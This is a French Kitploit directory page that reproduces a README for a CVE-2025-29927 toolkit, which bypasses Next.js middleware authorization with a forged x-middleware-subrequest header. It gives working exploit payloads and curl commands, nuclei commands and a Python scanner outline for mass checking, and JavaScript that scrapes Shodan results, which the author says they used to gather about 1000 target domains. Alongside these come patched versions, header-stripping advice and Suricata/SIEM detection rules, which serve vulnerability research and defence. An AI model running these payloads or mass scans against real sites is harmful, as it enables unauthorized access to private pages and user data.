Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-29927 — Preuve de concept et boîte à outils de scan de masse pour CVE-2025-29927, un contournement d'autorisation middleware Next.js via un en-tête x-middleware-subrequest falsifié. Inclut des modèles nuclei et un scanner Python. | Kitploit
Outils/GitHubGitHub/sdrtba/cve-2025-29927
Authentification et AutorisationAnalyse des VulnérabilitésÉvasion IDS/IPSExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

Preuve de concept et boîte à outils de scan de masse pour CVE-2025-29927, un contournement d'autorisation middleware Next.js via un en-tête x-middleware-subrequest falsifié. Inclut des modèles nuclei et un scanner Python.

Voir le dépôt
il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-29927 — Next.js (contournement de l'autorisation du middleware)

Résumé : vulnérabilité dans le middleware de Next.js permettant de contourner les vérifications d'autorisation en falsifiant l'en-tête x-middleware-subrequest.


Table des matières

  • CVE-2025-29927 — Next.js (contournement de l'autorisation du middleware)
    • Table des matières
    • Collecte des hôtes vulnérables
    • Plus d'infos
    • Description courte
    • Détails de la vulnérabilité
    • CWE Weakness Enumeration
    • Impact et risques supplémentaires
    • Versions concernées
    • CVSS et métriques
    • PoC — reproduction sécurisée en local
    • Vérification massive avec nuclei, Python
      • Nuclei
      • Scanner Python (architecture)
    • Mitigation / Remediation
    • Detection / Règles SIEM / IDS
    • Détection et vérification massive (Scanning & Detection)
    • Ressources et liens

Collecte des hôtes vulnérables

J'ai effectué une recherche dans shodan avec le filtre http.headers:"x-middleware-rewrite" et récupéré une liste de 1000 domaines

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


Plus d'infos

  1. Contexte et historique Dans les premières versions de Next.js, le middleware pouvait déclencher des requêtes internes (sub-requêtes) vers l'application elle-même. Pour éviter les récursions, le framework introduisait des en-têtes HTTP de service — des marqueurs internes indiquant « cette requête a déjà été traitée ». Cette approche était pratique et permettait d'éviter des boucles infinies dans le pipeline du middleware.

  2. Évolution du middleware et charges utiles (payloads) Avant Next.js 12.2, les middleware se trouvaient sous forme de _middleware dans pages/ et pouvaient être imbriqués (pages/_middleware, pages/dashboard/_middleware, etc.). Le payload pouvait spécifier un chemin concret (x-middleware-subrequest: pages/dashboard/_middleware). À partir de 12.2, les middleware sont devenus middleware.js/ts et n'étaient plus dans pages/. Dans ce cas, un payload simple x-middleware-subrequest: middleware (ou src/middleware si src/ est utilisé) fonctionnait souvent. Les versions ultérieures (≥ 13.2.0) ont introduit des vérifications supplémentaires, dont MAX_RECURSION_DEPTH ; dans certaines contournements, des valeurs répétées du type middleware:middleware:... étaient utilisées pour imiter une chaîne imbriquée. En pratique : le format exact du payload dépend de la version de Next.js et de la structure du projet.

  3. Historique du correctif et problème avec x-middleware-subrequest-id Le correctif rapide initial incluait l'idée d'un identifiant interne — x-middleware-subrequest-id — généré et vérifié à l'exécution pour distinguer les sub-requêtes internes valides des falsifications. Cependant, l'implémentation a montré un effet secondaire : cet ID interne pouvait fuiter à l'extérieur (en se retrouvant dans les requêtes fetch/outgoing), créant un nouveau risque. De plus, la signature/synchronisation des identifiants s'est avérée peu fiable dans un contexte de multiples CDN/PoP et d'exécutions mixtes (Edge vs Node). En conséquence, le code avec x-middleware-subrequest-id a été supprimé/remanié ; la solution finale combine des correctifs dans Next.js et des atténuations au niveau plateforme (filtrage des en-têtes internes entrants au niveau ingress/edge).


Description courte

  • CVE : CVE-2025-29927
  • Produit : Next.js (Vercel)
  • Résumé : le middleware implémentant l'autorisation fait confiance de manière inappropriée au drapeau interne x-middleware-subrequest. Un client externe peut définir cet en-tête et contourner les contrôles d'accès.
  • Date de publication NVD : 21 mars 2025
  • CNA : GitHub, Inc.

Détails de la vulnérabilité

  • Description : L'erreur réside dans le fait que le middleware de Next.js se repose sur l'indicateur interne x-middleware-subrequest pour prendre une décision d'accès. Ce champ était initialement destiné aux opérations internes du framework, mais des requêtes externes peuvent définir cet en-tête, permettant de contourner l'autorisation.
  • Cause de la vulnérabilité : logique d'autorisation incorrecte/non sécurisée — confiance accordée à un en-tête entrant.
  • Conditions d'exploitation : l'application web utilise uniquement le middleware pour l'autorisation ; l'application utilise des versions vulnérables de Next.js.

CWE Weakness Enumeration

  • CWE-863 : Incorrect Authorization — primaire
    • Preuve : le middleware faisait confiance à l'en-tête 'x-middleware-subrequest' et laissait passer les requêtes sans validation supplémentaire.
  • CWE-285 : Improper Authorization — secondaire
    • Preuve : absence d'authentification/autorisation fiable pour le flux interne uniquement.

Impact et risques supplémentaires

  • Impact : le contournement de l'autorisation donne accès à des pages/données privées, possibilité d'escalade (selon l'application), compromission des données utilisateur.
  • Risque supplémentaire : CPDoS (Cache-Poisoned DoS) : la vulnérabilité pourrait permettre de manipuler le cache CDN/edge (par exemple, si des sub-requêtes internes marquent des ressources comme privées/publiques), conduisant à un empoisonnement du cache et à un potentiel déni de service ou divulgation de données.
  • Exemples de conséquences : fuite de PII, contournement de la logique métier, sessions compromises, interférence avec le routage de l'application.

Versions concernées

Les plages de versions suivantes sont vulnérables :

  • >= 11.1.4 et < 12.3.5
  • >= 13.0.0 et < 13.5.9
  • >= 14.0.0 et < 14.2.25
  • >= 15.0.0 et < 15.2.3

CVSS et métriques

  • Score de base : 9.1 (CRITIQUE)
  • Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporel : E:P (PoC) * RL:O (correctif officiel) * RC:C (confirmé) = 8.2 (Score Temporel approximatif).

PoC — reproduction sécurisée en local

  1. Lancer la démo vulnérable :
root@kitploit:~
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. PoC simple en lecture seule (curl) :
root@kitploit:~
# sans en-tête — on s'attend à un refus (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# avec en-tête falsifié — si vulnérable, retourne 200 + corps
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

Vérification massive avec nuclei, Python

Nuclei

  • Template passif : vérification d'empreinte (/_next/static/, package.json, en-têtes, hash favicon) — mode sécurisé.
  • Template actif : envoie un GET avec x-middleware-subrequest et compare la réponse. Obligatoire d'utiliser rate-limit et throttle.

Commande pour lancer (exemple) :

root@kitploit:~
# passif
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# actif (contrôlé)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Scanner Python (architecture)

  • Algorithme : pour chaque hôte, obtenir une réponse de base (sans en-tête) → répéter avec l'en-tête x-middleware-subrequest → comparer le statut et le corps.
  • Options obligatoires : --concurrency, --delay, --dry-run, --respect-robots.
  • Utilisez aiohttp / asyncio pour de hautes performances.

Pseudo-code court :

root@kitploit:~
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

Mitigation / Remediation

  1. Principal : mettre à jour Next.js vers une version corrigée :
    • >= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.
  2. Correctif rapide (edge/proxy) : supprimer/nettoyer l'en-tête x-middleware-subrequest à la frontière :
  3. Modifications applicatives : supprimer la dépendance de l'autorisation vis-à-vis des en-têtes entrants ; s'appuyer sur des JWT/tokens de session/validation côté serveur.
  4. Détection : ajouter une journalisation et une règle dans le SIEM/IDS : alerter en cas de requêtes externes avec x-middleware-subrequest et vérifier la source.

Detection / Règles SIEM / IDS

Exemples de règles/alertes :

  • SIEM : alerter en cas de requêtes entrantes avec x-middleware-subrequest, si source.ip n'est pas dans trusted_proxies.

  • Suricata (pseudo) :

root@kitploit:~
alert http any any -> any any (msg:"Requête externe avec X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)

Détection et vérification massive (Scanning & Detection)

  • Passif (nuclei / fingerprint) : utilisez le modèle nuclei de projectdiscovery/nuclei-templates pour CVE-2025-29927 (vérification par fingerprint : /_next/static/, package.json, en-têtes, hash favicon). Aucune exploitation — sûr.
  • Actif (nuclei) : modèle prudent qui effectue un GET avec l'en-tête x-middleware-subrequest et vérifie la différence de réponse (body/status). Throttle et rate-limit obligatoires.
  • Script Python/Go (multithread) :
    • stratégie : pour chaque hôte → obtenir une référence sans en-tête → répéter avec l'en-tête → comparer.
    • sécurité : delay, cooldown par hôte, options --dry-run et --respect-robots.
  • Règle SIEM/IDS (exemple) :
root@kitploit:~
alerter si request.headers contient "x-middleware-subrequest" ET source.ip n'est pas dans trusted_proxies

Ressources et liens

  • NVD / CVE-2025-29927 (entrée NVD) — pour les versions et CVSS ;
  • Avis GitHub / Avis Vercel — pour les correctifs ;
  • Dépôts PoC (remplacez par les URL réelles) :
    • https://github.com/<author>/CVE-2025-29927-POC
    • https://github.com/<author>/vulnerable-nextjs-demo
  • ProjectDiscovery / nuclei-templates — modèle CVE-2025-29927.
Télécharger l’outil